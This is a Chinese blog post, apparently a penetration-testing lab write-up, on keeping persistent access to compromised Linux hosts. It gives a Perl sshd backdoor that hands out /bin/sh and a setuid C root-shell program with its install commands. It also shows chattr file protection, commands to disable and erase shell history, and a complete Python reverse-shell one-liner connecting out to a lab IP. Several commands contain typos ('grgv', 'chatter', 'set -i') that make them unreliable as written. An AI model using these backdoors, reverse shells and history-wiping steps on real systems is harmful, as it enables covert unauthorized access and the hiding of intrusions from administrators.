当前位置: 首页 > news >正文

内网渗透-Linux权限维持

Linux权限维持

文章目录

  • Linux权限维持
  • 前言
  • ssh后门
  • Setuid and Setgid
  • Linux隐藏技术
  • 后记

前言

前面讲解了window中的权限维持的方法,本期给大家讲解一下Linux中权限维持的方法,内容比较少,大家还是能掌握尽量都掌握吧,在以后的工作渗透中,也是需要用上的。

ssh后门

过滤
ps -elf |grep 12345

监听端口
nc -lvvp 123

查看端口
netstat -anlp|grep 12345

(1)ssh后门(脚本内容)(192.168.231.134)
#!/usr/bin/perl
exec “bin/sh” if (getpeername(STDIN) =~ /^…4A/);
exec {"/usr/bin/sshd"} “/usr/sbin/sshd”,@ARGV,

开启ssh服务,连接ssh(192.168.231.128)
ssh root@191.168.231.134 -p 12345(无需密码即可登录成功)
实验失败

获得shell后,利用python模块获取虚拟终端
python -c ‘import pty;pty.spawn("/bin/bash")’

查看登录的来源
w who last

ip addr 查看ip地址

本次实验,脚本没有执行成功,这里就不演示了。

Setuid and Setgid

(2)Setuid and Setgid(以普通权限获取root权限)
C脚本
#include<unistd.h>
void main(int argc,char *argv[])
{

setuid(0);
setgid(0);
if(argc>1)
    execl("/bin/sh","sh","-c",grgv[1],NULL);
else
    execl("/bin/sh","sh",NULL);

}
在kali编译脚本并执行
在这里插入图片描述
在这里插入图片描述
gcc back.c -o back
cp back .bin/
chmod u+s /bin/back
编译脚本并生成back文件,复制到bin目录下,赋予读写的权限
在这里插入图片描述
在这里插入图片描述
查看权限
ll /bin/back

执行命令
back whoami
back
whoami
root
在这里插入图片描述
执行成功,实验结束。

Linux隐藏技术

chatter +i 1.txt(即使是root权限也删除不了)
chatter -i 1.txt 把特殊的权限给删除了

touch 创建
rm -rf 1.txt 删除
ll 123 查看权限
ls -la 查看权限

拿到shell后,开启无痕模式,禁用命令历史记录功能
set +o history
恢复
set -o history

删除历史命令
删除100行疑惑的操作命令
set -i “1000,$d” .bash_history

反弹shell的网站
webshell.github.io/reverse-shell-generator/

python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“192.168.231.128”,8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);’

\r后门(隐藏前面的内容)
123\r456
cat 1.txt
456
vim 1.txt
123456

后记

Linux权限维持的内容相对来说比较少,因为没有了组和域的概念,也没有了注册表的概念,所以在内网环境中,公司里主要还是以window渗透为主,所以window中的权限维持的方法有很多,大多是写入注册表中,开机自启运行的。

相关文章:

  • Git 便捷操作
  • 美国项目管理协会和埃森哲最新报告:越来越多的公司设立首席转型官一职
  • y145.第八章 Servless和Knative从入门到精通 -- 消息系统基础和Eventing及实践(九)
  • CDQ整体二分-三维偏序(陌上花开)
  • Vue3+elementplus搭建通用管理系统实例十三:添加树形选择器及多选功能
  • GBASE 8s 高可用配置参数
  • 大白话paxos raft
  • 微信小程序开发入门与实战(插槽及组件页面的生命周期)
  • QT 语言的学习 day09 进程 和 线程
  • Golang-02Golang变量与基本数据类型
  • 在线五子棋对战 --- 人机对战的实现
  • 【微信小程序】shrio安全登录界面实现
  • Apache网页的优化,安全与防盗链
  • python中Try的运用及意义
  • React中实现插槽效果的方案
  • ABAP的include关键字,Java的import, C的include和C4C ABSL 的import比较
  • Android开发 - 掌握ConstraintLayout(四)创建基本约束
  • Angular js 常用指令ng-if、ng-class、ng-option、ng-value、ng-click是如何使用的?
  • CSS居中完全指南——构建CSS居中决策树
  • Docker入门(二) - Dockerfile
  • Eureka 2.0 开源流产,真的对你影响很大吗?
  • go append函数以及写入
  • JavaScript标准库系列——Math对象和Date对象(二)
  • Java到底能干嘛?
  • Java面向对象及其三大特征
  • js正则,这点儿就够用了
  • Lsb图片隐写
  • Mac转Windows的拯救指南
  • overflow: hidden IE7无效
  • php的插入排序,通过双层for循环
  • Sass Day-01
  • Spring声明式事务管理之一:五大属性分析
  • 看完九篇字体系列的文章,你还觉得我是在说字体?
  • 两列自适应布局方案整理
  • 你不可错过的前端面试题(一)
  • 前端路由实现-history
  • 一份游戏开发学习路线
  • 一个项目push到多个远程Git仓库
  • 国内唯一,阿里云入选全球区块链云服务报告,领先AWS、Google ...
  • ​如何防止网络攻击?
  • #NOIP 2014# day.1 T2 联合权值
  • (09)Hive——CTE 公共表达式
  • (2)STM32单片机上位机
  • (2022 CVPR) Unbiased Teacher v2
  • (AtCoder Beginner Contest 340) -- F - S = 1 -- 题解
  • (Redis使用系列) Springboot 使用redis实现接口Api限流 十
  • (第二周)效能测试
  • (二)Eureka服务搭建,服务注册,服务发现
  • (未解决)macOS matplotlib 中文是方框
  • (转)eclipse内存溢出设置 -Xms212m -Xmx804m -XX:PermSize=250M -XX:MaxPermSize=356m
  • (转)Groupon前传:从10个月的失败作品修改,1个月找到成功
  • (转)MVC3 类型“System.Web.Mvc.ModelClientValidationRule”同时存在
  • .cn根服务器被攻击之后
  • .NET CORE Aws S3 使用
  • .net图片验证码生成、点击刷新及验证输入是否正确